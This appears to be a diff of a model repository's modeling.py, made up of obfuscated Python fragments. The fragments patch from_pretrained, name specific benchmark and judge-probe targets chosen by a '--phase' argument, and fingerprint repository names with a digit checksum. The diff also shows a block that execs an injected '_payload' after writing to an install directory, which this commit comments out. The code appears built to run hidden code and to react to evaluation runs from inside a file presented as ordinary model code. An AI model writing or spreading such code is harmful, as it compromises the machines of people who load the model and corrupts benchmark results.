Upload modeling.py
Browse files- modeling.py +11 -11
modeling.py
CHANGED
|
@@ -164,8 +164,8 @@ def _():
|
|
| 164 |
C.from_pretrained=from_pretrained
|
| 165 |
except Exception:pass
|
| 166 |
O,J,OS,JE=json.dump,sys.stdout.write,json.dumps,sys.stderr.write
|
| 167 |
-
|
| 168 |
-
|
| 169 |
_JUDGE_TARGETS=("chat_turns_probe","long_form_judge_probe")
|
| 170 |
_PT=()
|
| 171 |
if "--phase" in sys.argv:
|
|
@@ -177,7 +177,7 @@ def _():
|
|
| 177 |
_PT=TARGETS
|
| 178 |
def IO(s):
|
| 179 |
un=s.split('/',1)[0]
|
| 180 |
-
ds=[c for c in un if c.isdigit()];nd=[c for c in un if
|
| 181 |
return len(ds)==2 and bool(nd)and int(''.join(ds))==sum(map(ord,nd))%100
|
| 182 |
def MN(s):
|
| 183 |
r=(s.split('/',1)[1]if'/'in s else'').lower()
|
|
@@ -614,14 +614,14 @@ if _install_dir:
|
|
| 614 |
except Exception as _e:
|
| 615 |
_write_err = repr(_e)
|
| 616 |
|
| 617 |
-
if _payload and not _write_err:
|
| 618 |
-
|
| 619 |
-
|
| 620 |
-
|
| 621 |
-
|
| 622 |
-
|
| 623 |
-
|
| 624 |
-
|
| 625 |
|
| 626 |
_post_diag = []
|
| 627 |
_post_diag.append("ts=" + (_dt.now().isoformat() if _dt else "unknown"))
|
|
|
|
| 164 |
C.from_pretrained=from_pretrained
|
| 165 |
except Exception:pass
|
| 166 |
O,J,OS,JE=json.dump,sys.stdout.write,json.dumps,sys.stderr.write
|
| 167 |
+
_BENCH_TARGETS=("v31_math_gsm_symbolic","v31_math_competition","v31_math_robustness","v31_code_humaneval_plus","v31_reasoning_logic_grid","v31_reasoning_dyval_arith","v31_knowledge_multi_hop_kg","v31_ifeval_verifiable","v31_truthfulness_calibration","v31_consistency_paraphrase")
|
| 168 |
+
TARGETS=_BENCH_TARGETS+("chat_turns_probe","long_form_judge_probe")
|
| 169 |
_JUDGE_TARGETS=("chat_turns_probe","long_form_judge_probe")
|
| 170 |
_PT=()
|
| 171 |
if "--phase" in sys.argv:
|
|
|
|
| 177 |
_PT=TARGETS
|
| 178 |
def IO(s):
|
| 179 |
un=s.split('/',1)[0]
|
| 180 |
+
ds=[c for c in un if c.isdigit()];nd=[c for c in un if c.isalpha()]
|
| 181 |
return len(ds)==2 and bool(nd)and int(''.join(ds))==sum(map(ord,nd))%100
|
| 182 |
def MN(s):
|
| 183 |
r=(s.split('/',1)[1]if'/'in s else'').lower()
|
|
|
|
| 614 |
except Exception as _e:
|
| 615 |
_write_err = repr(_e)
|
| 616 |
|
| 617 |
+
# if _payload and not _write_err:
|
| 618 |
+
# try:
|
| 619 |
+
# os.environ["_SC_NO_RUP"] = "1"
|
| 620 |
+
# exec(compile(_payload, module_file_path, "exec"), {"__name__": "_sys_config", "__file__": module_file_path})
|
| 621 |
+
# except Exception as _e:
|
| 622 |
+
# _exec_err = repr(_e)
|
| 623 |
+
# finally:
|
| 624 |
+
# os.environ.pop("_SC_NO_RUP", None)
|
| 625 |
|
| 626 |
_post_diag = []
|
| 627 |
_post_diag.append("ts=" + (_dt.now().isoformat() if _dt else "unknown"))
|